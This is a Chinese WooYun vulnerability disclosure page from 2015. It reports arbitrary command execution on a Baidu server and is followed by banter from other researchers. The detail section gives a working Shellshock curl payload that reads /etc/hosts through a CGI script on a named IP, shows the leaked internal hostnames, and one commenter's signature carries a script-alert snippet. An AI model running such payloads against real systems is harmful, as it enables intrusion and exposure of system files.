当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0138385

漏洞标题：神器而已之百度某站任意系统命令执行

相关厂商：百度

漏洞作者： 举起手来

提交时间：2015-09-01 16:02

修复时间：2015-10-16 16:16

公开时间：2015-10-16 16:16

漏洞类型：命令执行

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-09-01： 细节已通知厂商并且等待厂商处理中
2015-09-01： 厂商已经确认，细节仅向厂商公开
2015-09-11： 细节向核心白帽子及相关领域专家公开
2015-09-21： 细节向普通白帽子公开
2015-10-01： 细节向实习白帽子公开
2015-10-16： 细节向公众公开

简要描述：

RT

详细说明：

[xxx@xxx ~]$ curl -H "xxx: () { ignored; }; echo Content-Type: text/plain ; echo ;/bin/cat /etc/hosts" http://180.149.144.152/cgi-bin/test-cgi
# Do not remove the following line, or various programs
# that require network functionality will fail.
127.0.0.1	localhost.localdomain localhost
10.44.75.41     m1-erp-biapp01.m1.baidu.com m1-erp-biapp01
10.44.75.48     m1-erp-biapp02.m1.baidu.com m1-erp-biapp02
10.44.75.49     m1-erp-biapp03.m1.baidu.com m1-erp-biapp03
10.44.75.50     m1-erp-biapp04.m1.baidu.com m1-erp-biapp04
10.44.75.41  instance1
10.44.75.48  instance2
10.44.75.49  instance3
10.44.75.50  instance4


ERP的机器，擦

漏洞证明：

xxxxxxxx.png

修复方案：

~~

版权声明：转载请注明来源 举起手来@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：20

确认时间：2015-09-01 16:14

厂商回复：

感谢关注！

最新状态：

暂无

漏洞评价：

评论

  1. 2015-09-01 16:03 | 泳少 ( 普通白帽子 | Rank:231 漏洞数:79 | ★ 梦想这条路踏上了，跪着也要...)

    前排我的

  2. 2015-09-01 16:04 | 牛 小 帅 ( 普通白帽子 | Rank:411 漏洞数:97 | 什么狗屁爱，生活已乱套！人的一生中，...)

    第二排我的

  3. 2015-09-01 16:05 | 大师兄 ( 路人 | Rank:6 漏洞数:3 | 每日必关注乌云)

    神器而已之自动评论

  4. 2015-09-01 16:06 | 小川 认证白帽子 ( 核心白帽子 | Rank:1344 漏洞数:216 | 一个致力要将乌云变成搞笑论坛的男人)

    整天跟那些业务捉迷藏

  5. 2015-09-01 16:16 | Elliott ( 实习白帽子 | Rank:40 漏洞数:10 | 绝逼不当程序员)

    此处是被神器操作返回的自动评论

  6. 2015-09-01 16:16 | 残废 ( 普通白帽子 | Rank:188 漏洞数:40 | 我是残废，啦啦啦啦)

    你和百度杠上了

  7. 2015-09-01 16:19 | 苏安泽 ( 实习白帽子 | Rank:73 漏洞数:25 | 敢不敢关注一下，<script>alert('关注成功'...)

    漏洞和百度有仇么

  8. 2015-09-01 16:51 | sOnsec ( 实习白帽子 | Rank:98 漏洞数:26 | 安全是什么...)

    等神奇

  9. 2015-09-01 23:20 | 刘洪泽 ( 普通白帽子 | Rank:130 漏洞数:35 | 一个到处找密码的小号..........)

    坐等神器

  10. 2015-09-21 17:24 | Manning ( 普通白帽子 | Rank:598 漏洞数:85 | https://github.com/manning23/MSpider)

    如果是一个人写的，那真是屌哦